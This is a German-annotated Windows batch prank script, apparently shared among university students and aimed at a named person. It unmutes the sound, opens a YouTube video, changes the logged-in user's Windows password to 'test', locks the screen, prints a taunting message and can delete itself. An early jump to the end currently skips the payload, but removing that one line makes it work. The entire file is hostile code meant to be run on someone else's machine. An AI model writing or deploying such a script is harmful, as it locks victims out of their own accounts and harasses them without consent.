von der uni, scheinbar fuer mark

arschloch.bat

@ECHO OFF
SETLOCAL

:: ffffffff
GOTO eof
:: ffff

:: -- OPTIONS --
:: 1 for yes, 0 for no

:: Unmute Sound? -- Will toggle mute, use only if muted
SET "_snd=1"

:: Launch Video?
SET "_vid=1"
:: Video URL? -- Should have Autoplay obviously
SET "_url=http://www.youtube.com/watch?v=5tdum1I6Bes&autoplay=1"

:: Change Windows Password?
SET "_cpw=1"
:: New Password?
SET "_npw=test"

:: Lock screen?
SET "_lck=1"

:: Spam a message?
SET "_msg=1"
:: Message text?
SET "_txt=GUCK NICHT SO BETRUNKEN!"

:: Self-destruct this file upon execution?
SET "_die=0"


:: -- DONT EDIT BELOW THIS LINE --


:unmute
IF NOT [%_snd%]==[1] GOTO video
SET "_ufile=un1qf1le.vbs"
IF NOT EXIST "%_ufile%" GOTO unmute2
SET "_fex=1"
GOTO password
:unmute2
SET "_fex=0"
ECHO Set WshShell = CreateObject("WScript.Shell")>"%_ufile%"
ECHO WshShell.SendKeys(chr(^&hAD))>>"%_ufile%"
START "" "%_ufile%"

:video
IF NOT [%_vid%]==[1] GOTO password
START "" "%_url%"

:password
IF NOT [%_cpw%]==[1] GOTO lockscreen
NET USER "%username%" "%_npw%"

:lockscreen
IF NOT [%_lck%]==[1] GOTO spammage
rundll32.exe user32.dll, LockWorkStation

:spammage
IF NOT [%_msg%]==[1] GOTO suicide
FOR /L %%a IN (1,1,22) DO ECHO %_txt%

:suicide
IF [%_fex%]==[1] GOTO suicide2
@PING 127.0.0.1 -n 2 -w 500>nul
DEL /Q "%_ufile%">nul
:suicide2
IF NOT [%_die%]==[1] IF [%_msg%]==[1] GOTO pause
IF NOT [%_die%]==[1] IF NOT [%_msg%]==[1] GOTO eof
DEL /Q %~dpnx0

:pause
PAUSE
:eof